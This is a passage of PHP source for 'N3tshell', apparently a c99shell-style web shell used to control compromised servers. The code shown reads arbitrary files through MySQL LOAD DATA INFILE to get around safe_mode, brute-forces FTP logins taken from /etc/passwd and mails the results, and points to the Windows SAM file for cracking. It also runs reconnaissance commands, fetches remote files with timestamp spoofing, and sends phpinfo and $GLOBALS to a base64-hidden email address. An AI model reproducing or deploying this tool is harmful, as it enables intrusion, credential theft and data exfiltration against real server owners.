echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
echo "</tr>";
$i++;
}
echo "<tr bgcolor=\"000000\">";
echo "<td><center><b>»</b></center></td>";
echo "<td><center><b>".$i." table(s)</b></center></td>";
echo "<td><b>".$trows."</b></td>";
echo "<td>".$row[1]."</td>";
echo "<td>".$row[10]."</td>";
echo "<td>".$row[11]."</td>";
echo "<td><b>".view_size($tsize)."</b></td>";
echo "<td></td>";
echo "</tr>";
echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
echo "<option value=\"\">With selected:</option>";
echo "<option value=\"tbldrop\">Drop</option>";
echo "<option value=\"tblempty\">Empty</option>";
echo "<option value=\"tbldump\">Dump</option>";
echo "<option value=\"tblcheck\">Check table</option>";
echo "<option value=\"tbloptimize\">Optimize table</option>";
echo "<option value=\"tblrepair\">Repair table</option>";
echo "<option value=\"tblanalyze\">Analyze table</option>";
echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
mysql_free_result($result);
}
}
}
}
}
else
{
$acts = array("","newdb","serverstatus","servervars","processes","getfile");
if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
if (!empty($sql_act))
{
echo "<hr size=\"1\" noshade>";
if ($sql_act == "newdb")
{
echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
}
if ($sql_act == "serverstatus")
{
$result = mysql_query("SHOW STATUS", $sql_sock);
echo "<center><b>Server-status variables:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#000000 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
echo "</table></center>";
mysql_free_result($result);
}
if ($sql_act == "servervars")
{
$result = mysql_query("SHOW VARIABLES", $sql_sock);
echo "<center><b>Server variables:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#000000 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
echo "</table>";
mysql_free_result($result);
}
if ($sql_act == "processes")
{
if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
echo "<center><b>Processes:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#000000 borderColorLight=#000000 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
echo "</table>";
mysql_free_result($result);
}
if ($sql_act == "getfile")
{
$tmpdb = $sql_login."_tmpdb";
$select = mysql_select_db($tmpdb);
if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
if ($select)
{
$created = FALSE;
mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
$result = mysql_query("SELECT * FROM tmp_file;");
if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
else
{
for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
$f = "";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
mysql_free_result($result);
mysql_query("DROP TABLE tmp_file;");
}
}
mysql_drop_db($tmpdb); //comment it if you want to leave database
}
}
}
}
echo "</td></tr></table>";
if ($sql_sock)
{
$affected = @mysql_affected_rows($sql_sock);
if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
}
echo "</table>";
}
if ($act == "mkdir")
{
if ($mkdir != $d)
{
if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
echo "<br><br>";
}
$act = $dspact = "ls";
}
if ($act == "ftpquickbrute")
{
echo "<b>Ftp Quick brute:</b><br>";
if (!win) {echo "This functions not work in Windows!<br><br>";}
else
{
function N3tftpbrutecheck($host,$port,$timeout,$login,$pass ,$sh,$fqb_onlywithsh)
{
if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
else {$TRUE = TRUE;}
if ($TRUE)
{
$sock = @ftp_connect($host,$port,$timeout);
if (@ftp_login($sock,$login,$pass))
{
echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
ob_flush();
return TRUE;
}
}
}
if (!empty($submit))
{
if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
$fp = fopen("/etc/passwd","r");
if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
else
{
if ($fqb_logging)
{
if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
else {$fqb_logfp = FALSE;}
$fqb_log = "FTP Quick Brute (called N3tshell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
}
ob_flush();
$i = $success = 0;
$ftpquick_st = getmicrotime();
while(!feof($fp))
{
$str = explode(":",fgets($fp,2048));
if (N3tftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
{
echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
$fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
$success++;
ob_flush();
}
if ($i > $fqb_lenght) {break;}
$i++;
}
if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
$ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
$fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
if ($fqb_logemail) {@mail($fqb_logemail,"N3tshell v. ".$shver." report",$fqb_log);}
fclose($fqb_logfp);
}
}
else
{
$logfile = $tmpdir_logs."N3tsh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
$logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
}
}
}
if ($act == "d")
{
if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
else
{
echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
if (!$win)
{
echo "<tr><td><b>Owner/Group</b></td><td> ";
$ow = posix_getpwuid(fileowner($d));
$gr = posix_getgrgid(filegroup($d));
$row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
}
echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
}
}
if ($act == "phpinfo") {@ob_clean(); phpinfo(); N3tshexit();}
if ($act == "security")
{
echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
if (!$win)
{
if ($nixpasswd)
{
if ($nixpasswd == 1) {$nixpasswd = 0;}
echo "<b>*nix /etc/passwd:</b><br>";
if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
$i = $nixpwd_s;
while ($i < $nixpwd_e)
{
$uid = posix_getpwuid($i);
if ($uid)
{
$uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
echo join(":",$uid)."<br>";
}
$i++;
}
}
else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
}
else
{
$v = $_SERVER["WINDIR"]."\repair\sam";
if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";}
else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";}
}
if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";}
if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
displaysecinfo("RAM",myshellexec("free -m"));
displaysecinfo("HDD space",myshellexec("df -h"));
displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
displaysecinfo("Is cURL installed?",myshellexec("which curl"));
displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
displaysecinfo("Is links installed?",myshellexec("which links"));
displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
displaysecinfo("Is GET installed?",myshellexec("which GET"));
displaysecinfo("Is perl installed?",myshellexec("which perl"));
displaysecinfo("Where is apache",myshellexec("whereis apache"));
displaysecinfo("Where is perl?",myshellexec("whereis perl"));
displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
}
if ($act == "mkfile")
{
if ($mkfile != $d)
{
if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
}
else {$act = $dspact = "ls";}
}
if ($act == "encoder")
{
echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
foreach(array("md5","crypt","sha1","crc32") as $v)
{
echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
}
echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
<br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
<br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
echo "<center>base64_decode - ";
if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
else
{
$debase64 = base64_decode($encoder_input);
$debase64 = str_replace("\0","[0]",$debase64);
$a = explode("\r\n",$debase64);
$rows = count($a);
$debase64 = htmlspecialchars($debase64);
if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64. value)\"><b>^</b></a>";
}
echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
$c = strlen($encoder_input);
for($i=0;$i<$c;$i++)
{
$hex = dechex(ord($encoder_input[$i]));
if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
}
echo "\" readonly><br></center></form>";
}
if ($act == "fsbuff")
{
$arr_copy = $sess_data["copy"];
$arr_cut = $sess_data["cut"];
$arr = array_merge($arr_copy,$arr_cut);
if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
}
if ($act == "selfremove")
{
if (($submit == $rndcode) and ($submit != ""))
{
if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using N3tshell v.".$shver."!"; N3tshexit(); }
else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
}
else
{
if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
$rnd = rand(0,9).rand(0,9).rand(0,9);
echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
}
}
if ($act == "update") {$ret = N3tsh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}}
if ($act == "feedback")
{
$suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1");
if (!empty($submit))
{
$ticket = substr(md5(microtime()+rand(1,1000)),0,6);
$body = "N3tshell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
if (!empty($fdbk_ref))
{
$tmp = @ob_get_contents();
ob_clean();
phpinfo();
$phpinfo = base64_encode(ob_get_contents());
ob_clean();
echo $tmp;
$body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
}
mail($suppmail,"N3tshell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
}
else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";}
}
if ($act == "search")
{
echo "<b>Search in file-system:</b><br>";
if (empty($search_in)) {$search_in = $d;}
if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
if (empty($search_text_wwo)) {$search_text_regexp = 0;}
if (!empty($submit))
{
$found = array();
$found_d = 0;
$found_f = 0;
$search_i_f = 0;
$search_i_d = 0;
$a = array
(
"name"=>$search_name, "name_regexp"=>$search_name_regexp,
"text"=>$search_text, "text_regexp"=>$search_text_regxp,
"text_wwo"=>$search_text_wwo,
"text_cs"=>$search_text_cs,
"text_not"=>$search_text_not
);
$searchtime = getmicrotime();
$in = array_unique(explode(";",$search_in));
foreach($in as $v) {N3tfsearch($v);}
$searchtime = round(getmicrotime()-$searchtime,4);
if (count($found) == 0) {echo "<b>No files found!</b>";}
else
{
$ls_arr = $found;
$disp_fullpath = TRUE;
$act = "ls";
}
}
echo "<form method=POST>
<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
<br><br><input type=submit name=submit value=\"Search\"></form>";
if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
}
if ($act == "chmod")
{
$mode = fileperms($d.$f);
if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
else
{
$form = TRUE;
if ($chmod_submit)
{
$octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
else {$err = "Can't chmod to ".$octet.".";}
}
if ($form)
{
$perms = parse_perms($mode);
echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
}
}
}
if ($act == "upload")
{
$uploadmess = "";
$uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
if (empty($uploadpath)) {$uploadpath = $d;}
elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
if (!empty($submit))
{
global $HTTP_POST_FILES;
$uploadfile = $HTTP_POST_FILES["uploadfile"];
if (!empty($uploadfile["tmp_name"]))
{
if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
else {$destin = $userfilename;}
if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
}
elseif (!empty($uploadurl))
{
if (!empty($uploadfilename)) {$destin = $uploadfilename;}
else
{
$destin = explode("/",$destin);
$destin = $destin[count($destin)-1];
if (empty($destin))
{
$i = 0;
$b = "";
while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
}
if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
else
{
$st = getmicrotime();
$content = @file_get_contents($uploadurl);
$dt = round(getmicrotime()-$st,4);
if (!$content) {$uploadmess .= "Can't download file!<br>";}
else
{
if ($filestealth) {$stat = stat($uploadpath.$destin);}
$fp = fopen($uploadpath.$destin,"w");
if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
else
{
fwrite($fp,$content,strlen($content));
fclose($fp);
if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
}
}
}
}
}
if ($miniform)
{
echo "<b>".$uploadmess."</b>";
$act = "ls";
}
else
{
echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>
Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
File-name (auto-fill): <input name=uploadfilename size=25><br><br>
<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
<input type=submit name=submit value=\"Upload\">
</form>";
